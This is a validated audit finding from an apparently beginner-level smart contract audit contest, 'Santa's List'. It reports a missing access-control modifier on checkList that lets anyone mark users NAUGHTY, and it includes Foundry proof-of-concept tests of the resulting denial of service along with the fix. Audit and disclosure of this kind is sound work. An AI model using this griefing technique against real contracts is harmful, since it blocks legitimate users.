First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Lack of `onlySanta` access control modifier on `SantasList::checkList` enables anyone to DOS `SantasList::checkTwice` and `SantasList::collectPresent`.

0xspryon

Summary

SantasList::checkTwice & SantasList::collectPresent can be made to always revert for users that have been SantasList::checkTwice with a status of NICE or EXTRA_NICE.

Vulnerability Details

SantasList::checkList is callable by anyone with any status as input ( in this case NAUGHTY). Both SantasList::checkTwice and SantasList::collectPresent expect that the status of the user in both SantasList::s_theListCheckedOnce and SantasList::s_theListCheckedTwice are the same. A malicious user can just decide to call SantasList::checkList for any user (he wishes to DOS) with the status of NAUGHTY. This effectively blocks this user from ever being checkTwice-ed or to ever be able to collectPresent.

POC

Put the following code exerpt in `test/unit/SantasListTest.t.sol`
​
function testDOSCollectPresent() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
address maliciousUser = makeAddr("malicious_user");
vm.prank(maliciousUser);
santasList.checkList(user, SantasList.Status.NAUGHTY);
​
vm.startPrank(user);
vm.expectRevert();
santasList.collectPresent();
vm.stopPrank();
}
​
function testDOSCheckTwice() public {
address maliciousUser = makeAddr("malicious_user");
vm.prank(maliciousUser);
santasList.checkList(user, SantasList.Status.NAUGHTY);
​
vm.startPrank(santa);
vm.expectRevert();
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
}

In the terminal, run the following commands.

forge test --mt testDOSCollectPresent

forge test --mt testDOSCheckTwice

Impact

SantasList::checkTwice & SantasList::collectPresent can be made to always revert for users that have been SantasList::checkTwice with a status of NICE or EXTRA_NICE.

Tools Used

Manual review

Recommendations

Add an only santa modifier to SantaList::checkList method, line 121

- function checkList(address person, Status status) external {
+ function checkList(address person, Status status) external onlySanta {
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Access Control on checkList()

Anyone is able to call checkList() changing the status of a provided address. This is not intended functionality and is meant to be callable by only Santa.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.